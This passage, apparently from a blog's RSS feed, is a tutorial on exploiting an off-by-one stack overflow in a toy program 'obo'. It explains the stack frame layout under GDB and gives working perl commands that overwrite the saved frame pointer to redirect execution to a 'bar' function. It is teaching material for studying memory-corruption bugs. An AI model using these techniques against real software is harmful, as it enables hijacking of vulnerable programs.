&lt;/h2>&lt;ul>
&lt;li>When the command &lt;code>perl -e 'system &amp;quot;./obo&amp;quot;, &amp;quot;\x38\x84\x04\x08&amp;quot;x256'&lt;/code> is executed, the program takes these repeated bytes as the input to &lt;code>./obo&lt;/code>.&lt;/li>
&lt;li>As the &lt;code>foo&lt;/code> function returns, the &lt;code>leave&lt;/code> and &lt;code>ret&lt;/code> instructions are executed, leading to the return address being overwritten. This causes the program to jump to the &lt;code>bar&lt;/code> function, printing the success message multiple times.&lt;/li>
&lt;/ul>
&lt;h2 id="further-analysis-determining-effective-overwrite-locations">Further Analysis: Determining Effective Overwrite Locations
&lt;/h2>&lt;h2 id="stack-frame-layout-explanation">Stack Frame Layout Explanation
&lt;/h2>&lt;p>During the GDB debugging session, the memory layout for the stack frame of the &lt;code>foo&lt;/code> function looks like this:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">0xbfffed10 return address
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0xbfffed0c saved frame pointer (ebp)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0xbfffed0b buf[1023]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0xbfffed03 buf[1015]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0xbfffed02 buf[1014]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0xbfffed01 buf[1013]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0xbfffed00 buf[1012]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">0xbfffe90c buf[0]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;ul>
&lt;li>
&lt;p>&lt;strong>Return address&lt;/strong>: Located at &lt;code>0xbfffed10&lt;/code>, this is the address that the program will jump to after the &lt;code>foo&lt;/code> function finishes executing. Overwriting this address can control the flow of the program and potentially redirect it to malicious code (e.g., the &lt;code>bar&lt;/code> function).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Saved frame pointer (&lt;code>ebp&lt;/code>)&lt;/strong>: Stored at &lt;code>0xbfffed0c&lt;/code>, this value is used to restore the calling function&amp;rsquo;s stack frame after &lt;code>foo&lt;/code> finishes. In this example, we can see how the off-by-one overflow can overwrite the least significant byte of &lt;code>ebp&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Buffer (&lt;code>buf&lt;/code>)&lt;/strong>: The buffer starts at address &lt;code>0xbfffe90c&lt;/code> and extends to &lt;code>0xbfffed0b&lt;/code>, with &lt;code>buf[0]&lt;/code> located at &lt;code>0xbfffe90c&lt;/code> and &lt;code>buf[1023]&lt;/code> at &lt;code>0xbfffed0b&lt;/code>. The vulnerable line in the code, &lt;code>buf[sizeof(buf)] = '\0';&lt;/code>, writes a null terminator (&lt;code>\0&lt;/code>) just outside the bounds of this buffer, affecting the saved frame pointer.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In the off-by-one overflow scenario, the write operation overwrites the least significant byte of &lt;code>ebp&lt;/code>, which is stored at &lt;code>0xbfffed0c&lt;/code>. By manipulating the value of &lt;code>ebp&lt;/code>, we can influence the stack behavior when the &lt;code>leave&lt;/code> and &lt;code>ret&lt;/code> instructions are executed, eventually allowing us to control the program flow and redirect execution to the &lt;code>bar&lt;/code> function.&lt;/p>
&lt;p>To perform a successful attack, it&amp;rsquo;s crucial to determine precisely which bytes need to be overwritten in order to manipulate the control flow effectively. In this example, the overflow occurs when &lt;code>buf[sizeof(buf)] = '\0'&lt;/code> is executed, causing the least significant byte of the saved frame pointer (&lt;code>ebp&lt;/code>) to be set to &lt;code>0&lt;/code>. Thus, the value of &lt;code>ebp&lt;/code> needs to be adjusted to ensure it points back into the buffer area, allowing the execution to proceed in the desired way and eventually jump to the &lt;code>bar&lt;/code> function.&lt;/p>
&lt;p>Based on further analysis and testing, the following insights were obtained:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>To accurately determine the overwrite location, the value of &lt;code>ebp&lt;/code> is crucial. However, obtaining this value is challenging because:&lt;/p>
&lt;ol>
&lt;li>GDB debugging affects address layout.&lt;/li>
&lt;li>The length of the input parameter affects the address layout.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>
&lt;p>Under GDB debugging, the layout within the &lt;code>foo&lt;/code> function looks like this:&lt;/p>
&lt;/li>
&lt;li>
&lt;p>After executing &lt;code>buf[sizeof(buf)] = '\0';&lt;/code>, &lt;code>ebp&lt;/code> is modified such that the return address effectively takes the value at &lt;code>ebp + 1&lt;/code>, which is the address &lt;code>0xbfffed00 + 1&lt;/code>, or &lt;code>0xbfffed04&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>The corresponding offset is at position 255 in &lt;code>buf&lt;/code>, meaning the attack can be constructed by filling in the return address only at that specific location. The following command was used for verification in GDB:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">r &lt;span class="k">$(&lt;/span>perl -e &lt;span class="s1">&amp;#39;print &amp;#34;\x01\x01\x01\x01&amp;#34;x254 . &amp;#34;\x38\x84\x04\x08&amp;#34;x1 . &amp;#34;\x01\x01\x01\x01&amp;#34;x1&amp;#39;&lt;/span>&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>This was verified to work under GDB debugging, with some details to note:&lt;/p>
&lt;ol>
&lt;li>The input parameter length must always be 256 bytes; otherwise, the value of &lt;code>ebp&lt;/code> will change, as the input parameter occupies stack space, affecting the starting position of the frame and thereby affecting the value of &lt;code>ebp&lt;/code>.&lt;/li>
&lt;li>Padding must use non-zero values such as &lt;code>0x01&lt;/code>, because &lt;code>strncpy&lt;/code> will terminate early if it encounters a &lt;code>0&lt;/code> value.&lt;/li>
&lt;/ol>
&lt;/li>
&lt;li>
&lt;p>When executing the program directly (i.e., without GDB), the memory layout differs, resulting in a different offset position. Through experimentation, it was found that the offset is at position 235. The corresponding attack command is:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">./obo &lt;span class="k">$(&lt;/span>perl -e &lt;span class="s1">&amp;#39;print &amp;#34;\x01\x01\x01\x01&amp;#34;x234 . &amp;#34;\x38\x84\x04\x08&amp;#34;x1 . &amp;#34;\x01\x01\x01\x01&amp;#34;x21&amp;#39;&lt;/span>&lt;span class="k">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;/ul>
&lt;p>This achieves the desired effect of accurately finding the overwrite location and successfully executing the attack.&lt;/p></description></item></channel></rss>